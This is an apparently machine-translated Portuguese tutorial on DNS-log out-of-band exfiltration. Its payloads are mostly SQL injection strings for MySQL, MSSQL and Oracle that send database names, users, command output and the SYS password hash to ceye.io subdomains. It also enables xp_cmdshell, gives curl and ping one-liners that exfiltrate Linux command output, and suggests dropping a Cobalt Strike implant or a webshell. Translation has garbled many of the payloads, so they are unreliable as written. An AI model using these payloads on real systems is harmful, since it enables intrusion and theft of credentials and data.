Injeção 0x01 usando o princípio dnslog
Como mostrado na figura, como invasor, envie uma instrução de injeção e permita que o banco de dados concatene o valor a ser consultado com o nome de domínio e, em seguida, ocorra uma consulta DNS. Desde que possamos obter o log DNS, obteremos o valor desejado. Portanto, precisamos ter nosso próprio nome de domínio e, em seguida, configurar um registro NS no revendedor de nomes de domínio, e então podemos obter logs DNS no servidor NS.
Plataforma de servidor DNS gratuita:
http: // ceye.io/ http: // dnslog.cn/
0x02 em que cenários o dnslog é usado
- Injeção cega na injeção SQL
- Execução de comando sem eco
- SSRF sem eco
O entendimento simples é que, em alguns casos em que a vulnerabilidade não pode ser usada diretamente para obter o eco, mas o destino pode iniciar uma solicitação de DNS, desta vez você pode retirar os dados que deseja dessa maneira.
Aplicação de 0x03 na injeção cega do mysql
A função load_file é usada principalmente no mysql, é usada para ler o arquivo no mysql e retornar o conteúdo do arquivo como uma string.De fato, também pode ser usada para enviar solicitações de DNS.
E deve-se notar que a função load_file não pode ser usada para executar ataques de dnslog no Linux.
Para usar esta função, as seguintes condições devem ser atendidas: (1). O arquivo lido deve estar no servidor e o caminho absoluto do arquivo deve ser especificado (2). O usuário que se conectar ao banco de dados atual deve ter permissão FILE (3) .O conteúdo do arquivo deve ser menor que max_allowed_packet.
Carga útil utilizada:
? id = 1 ' união selecione load_file (concat ( ' \\\\\\\\ ' , (selecione banco de dados ()), ' .xxxx.ceye.io \\ abc ' )) - + ? id = 1 ' e se ((selecione load_file (concat ( ' \\\\ ' , (selecione banco de dados ()), ' .XXXXX.ceye.io \\ abc ' ))), 1,1) - + banco de dados () deve Onde fazer a consulta de injeção SQL
A plataforma ceye.io receberá um nome de domínio de segundo nível após o registro.Aqui, costuramos a instrução de consulta para o nome de domínio de terceiro nível.Depois da resolução do DNS, o nome de domínio resolvido será registrado na plataforma. O resultado da consulta. Por exemplo, aqui o nome de domínio de terceiro nível será o banco de dados de consulta. Usar o dnslog para fazer com que os resultados da consulta sejam exibidos completamente é muito mais rápido que a consulta de injeção cega direta.
Ao consultar uma tabela ou campo, é necessário adicionar um limite para limitar a saída.Todas as consultas correspondem a um registro DNS, ou seja, um nome de domínio de terceiro nível, um resultado da consulta, portanto a saída do limite limite é 1.
Aqui está um exemplo do oitavo nível de injeção cega do sqli-labs, pratique a injeção do dnslog:
Veja o banco de dados atual:
http: // 127.0.0.1/sqli-labs-master/Less-8/?id=1%27and%20if((select%20load_file(concat(%27 \\\\% 27, (selecione% 20database ()) ,% 27.xxx.ceye.io \\ abc% 27))), 1,1) - +
Você pode ver que o banco de dados atual é de segurança
Para obter o usuário atual, você precisa hexar a função user (), hex (user ())
Descompacte o caractere hexadecimal e decodifique-o aqui como: root @ localhost
As operações subseqüentes são semelhantes às acima. Aqui o resultado da execução da função load_file é nulo e problemático, você precisa primeiro resolver as três condições que precisam ser atendidas para usar esta função.
Aplicação 0x04 no mssql
Precisa ter injeção de pilha, pode ser usado; execute comandos sql um por um, poc:
http: // 127.0.0.1/mssql.php?id=1; DECLARE @host varchar ( 1024 ); SELECT @ host = (SELECT master.dbo.fn_varbintohexstr (convert (varbinary, rtrim (pass))) FROM 库 名 .dbo.test_user em que [USER] = ' admin ' )% 2b ' . nk40ci.ceye.io ' ; EXEC ( ' master..xp_dirtree "\'% 2b @ host% 2b ' \ foobar $ " ');
Teste para empilhamento:?id=1';WAITFOR DELAY '0:0:5'--
Obtenha o usuário atual:
id = 2 ' ; declara @a char (128); set @ a = ' \\ ' % 2buser% 2b ' . ***. ceye.io \ abc ' ; exec master..xp_dirtree @a; -
Obtenha o nome da biblioteca:
id = 2 ' ; declara @a char ( 128 ); set @ a = ' \\ ' % 2b ( selecione o nome do top 1 em master.dbo.sysdatabases)% 2b ' . ***. ceye.io \ abc ' ; exec master..xp_dirtree @a; -
Use o sqlmap para acabar.Se o banco de dados tiver uma permissão, você poderá abrir o componente xp_cmdshell para executar o comando
开启 xp_cmdshell: EXEC sp_configure ' mostra opções avançadas ' , 1 ; RECONFIGURE; EXEC sp_configure ' xp_cmdshell ' , 1 ; RECONFIGURE;
O comando executa a instrução sql:
id = 2 '; exec master..xp_cmdshell ' whoami '-
Nesse caso, não há execução de eco.
Com o dnslog, retorne o resultado da execução do comando para a plataforma do servidor dns através da seguinte instrução e verifique o log http:
? id = 1 ' ; exec master..xp_cmdshell "para / F% s em ( ' whoami ' ) começa http://xxx.ceye.io/?%s"--
Retorne o resultado da execução whoami da exibição para a última variável do URL gravado http, o nome da variável é o resultado da exibição da execução do comando.
Como esta declaração abrirá o navegador padrão local, é necessário fechar o navegador, se o padrão não for, basta olhar para ela com a lista de tarefas:
? id = 123 ' ; exec master..xp_cmdshell "taskkill / f / im iexplore.exe" -
Na verdade, você não precisa saber o resultado do eco em um combate real, desde que possa executar o comando, faça o download e execute o nosso cs horse se puder se conectar à rede externa e, em seguida, ficar on-line diretamente. Ou conheça o caminho absoluto para escrever diretamente na webshell.
Para o servidor Linux:
http curl: // xxx.ceye.io / `whoami` ver http registrada na plataforma e, em seguida, o ping -c 1 ` whoami`.xxx.ceye.io Ver dns registro na plataforma exigir vários apresenta os resultados da LS: para i em $ (ls /); do curl " http: //$i.xxx.ceye.io/ " ;
Ferramenta de execução de comando automatizada: https://github.com/quyunjie/Red-Team/blob/master/mssql-rce/mandros.py
0x05 oracle
SELECT UTL_INADDR.GET_HOST_ADDRESS ( ' b182oj.ceye.io ' ); SELECT UTL_HTTP.REQUEST ( ' http://b182oj.ceye.io/oracle ' ) FROM DUAL; SELECT HTTPURITYPE ( ' http://b182oj.ceye.io/oracle ' ) .GETCLOB () FROM DUAL; SELECT DBMS_LDAP.INIT (( ' oracle.b182oj.ceye.io ' , 80 ) FROM DUAL; SELECT DBMS_LDAP.INIT ((SELECT senha do SYS.USER $ WHERE nome = ' SYS ' ) || ' .b182oj.ceye.io ' , 80 ) DE DUAL;
Link de referência: https://www.anquanke.com/post/id/98096#h3-5
Sobre a automação de scripts usando o dnslog: https://github.com/ADOOO/DnslogSqlinj